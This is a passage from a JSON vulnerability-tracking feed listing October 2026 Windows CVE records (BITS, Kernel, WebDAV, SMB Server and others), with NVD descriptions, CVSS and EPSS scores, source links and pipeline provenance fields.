Tunneling Protocol (SSTP) allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:34.543Z","updatedAt":"2026-10-16T16:22:35.807Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88147","asOf":"2026-10-16T16:22:35.807Z"},"epss":{"probability":0.00344,"percentile":0.27679,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88147&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88147","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88147","type":"primary","publishedAt":"2026-10-13T19:21:34.543Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88147&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88147, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88146","cveId":"CVE-2026-88146","aliases":[],"kind":"vulnerability","title":"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Background Intelligent Transfer Service (BITS) allows an authorized attacker...","summary":"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Background Intelligent Transfer Service (BITS) allows an authorized attacker to elevate privileges locally.","detail":"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Background Intelligent Transfer Service (BITS) allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:34.390Z","updatedAt":"2026-10-16T16:22:35.620Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88146","asOf":"2026-10-16T16:22:35.620Z"},"epss":{"probability":0.00193,"percentile":0.08883,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88146&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88146","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88146","type":"primary","publishedAt":"2026-10-13T19:21:34.390Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88146&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88146, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88142","cveId":"CVE-2026-88142","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Background Intelligent Transfer Service (BITS) allows an unauthorized attacker to execute code over a network.","summary":"Use after free in Windows Background Intelligent Transfer Service (BITS) allows an unauthorized attacker to execute code over a network.","detail":"Use after free in Windows Background Intelligent Transfer Service (BITS) allows an unauthorized attacker to execute code over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:33.803Z","updatedAt":"2026-10-16T16:22:35.057Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88142","asOf":"2026-10-16T16:22:35.057Z"},"epss":{"probability":0.00851,"percentile":0.57945,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88142&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88142","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88142","type":"primary","publishedAt":"2026-10-13T19:21:33.803Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88142&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88142, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88141","cveId":"CVE-2026-88141","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:33.673Z","updatedAt":"2026-10-13T21:19:49.433Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88141","asOf":"2026-10-13T21:19:49.433Z"},"epss":{"probability":0.00253,"percentile":0.16571,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88141&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88141","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88141","type":"primary","publishedAt":"2026-10-13T19:21:33.673Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88141&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88141, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88139","cveId":"CVE-2026-88139","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:33.387Z","updatedAt":"2026-10-13T21:19:49.187Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88139","asOf":"2026-10-13T21:19:49.187Z"},"epss":{"probability":0.00258,"percentile":0.17254,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88139&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88139","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88139","type":"primary","publishedAt":"2026-10-13T19:21:33.387Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88139&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88139, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88136","cveId":"CVE-2026-88136","aliases":[],"kind":"vulnerability","title":"Improper resolution of path equivalence in WebDAV allows an authorized attacker to execute code over a network.","summary":"Improper resolution of path equivalence in WebDAV allows an authorized attacker to execute code over a network.","detail":"Improper resolution of path equivalence in WebDAV allows an authorized attacker to execute code over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:33.030Z","updatedAt":"2026-10-16T16:22:34.247Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88136","asOf":"2026-10-16T16:22:34.247Z"},"epss":{"probability":0.00954,"percentile":0.61112,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88136&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88136","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88136","type":"primary","publishedAt":"2026-10-13T19:21:33.030Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88136&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88136, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88135","cveId":"CVE-2026-88135","aliases":[],"kind":"vulnerability","title":"Improper access control in WebDAV allows an authorized attacker to elevate privileges locally.","summary":"Improper access control in WebDAV allows an authorized attacker to elevate privileges locally.","detail":"Improper access control in WebDAV allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:32.857Z","updatedAt":"2026-10-16T16:22:34.007Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88135","asOf":"2026-10-16T16:22:34.007Z"},"epss":{"probability":0.00323,"percentile":0.25033,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88135&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88135","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88135","type":"primary","publishedAt":"2026-10-13T19:21:32.857Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88135&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88135, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88134","cveId":"CVE-2026-88134","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:32.670Z","updatedAt":"2026-10-16T16:22:33.773Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88134","asOf":"2026-10-16T16:22:33.773Z"},"epss":{"probability":0.00361,"percentile":0.29674,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88134&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88134","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88134","type":"primary","publishedAt":"2026-10-13T19:21:32.670Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88134&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88134, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88133","cveId":"CVE-2026-88133","aliases":[],"kind":"vulnerability","title":"Improper authorization in Windows Portable Device Enumerator Service allows an authorized attacker to elevate privileges locally.","summary":"Improper authorization in Windows Portable Device Enumerator Service allows an authorized attacker to elevate privileges locally.","detail":"Improper authorization in Windows Portable Device Enumerator Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:32.493Z","updatedAt":"2026-10-16T16:22:33.507Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88133","asOf":"2026-10-16T16:22:33.507Z"},"epss":{"probability":0.0055,"percentile":0.45743,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88133&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88133","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88133","type":"primary","publishedAt":"2026-10-13T19:21:32.493Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88133&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88133, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88128","cveId":"CVE-2026-88128","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:31.880Z","updatedAt":"2026-10-16T16:22:33.090Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88128","asOf":"2026-10-16T16:22:33.090Z"},"epss":{"probability":0.00361,"percentile":0.29677,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88128&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88128","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88128","type":"primary","publishedAt":"2026-10-13T19:21:31.880Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88128&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88128, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88127","cveId":"CVE-2026-88127","aliases":[],"kind":"vulnerability","title":"Use after free in Windows SMB Server allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows SMB Server allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows SMB Server allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:31.720Z","updatedAt":"2026-10-17T04:17:08.853Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88127","asOf":"2026-10-17T04:17:08.853Z"},"epss":{"probability":0.00286,"percentile":0.20921,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88127&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88127","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88127","type":"primary","publishedAt":"2026-10-13T19:21:31.720Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88127&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88127, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88126","cveId":"CVE-2026-88126","aliases":[],"kind":"vulnerability","title":"Untrusted pointer dereference in WebDAV allows an authorized attacker to elevate privileges locally.","summary":"Untrusted pointer dereference in WebDAV allows an authorized attacker to elevate privileges locally.","detail":"Untrusted pointer dereference in WebDAV allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:31.543Z","updatedAt":"2026-10-16T16:22:32.667Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88126","asOf":"2026-10-16T16:22:32.667Z"},"epss":{"probability":0.00361,"percentile":0.29671,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88126&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88126","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88126","type":"primary","publishedAt":"2026-10-13T19:21:31.543Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88126&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88126, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88124","cveId":"CVE-2026-88124","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:31.227Z","updatedAt":"2026-10-16T16:22:32.343Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88124","asOf":"2026-10-16T16:22:32.343Z"},"epss":{"probability":0.00252,"percentile":0.16479,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88124&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88124","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88124","type":"primary","publishedAt":"2026-10-13T19:21:31.227Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88124&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88124, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88121","cveId":"CVE-2026-88121","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Background Intelligent Transfer Service (BITS) allows an unauthorized attacker to execute code over a network.","summary":"Use after free in Windows Background Intelligent Transfer Service (BITS) allows an unauthorized attacker to execute code over a network.","detail":"Use after free in Windows Background Intelligent Transfer Service (BITS) allows an unauthorized attacker to execute code over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of 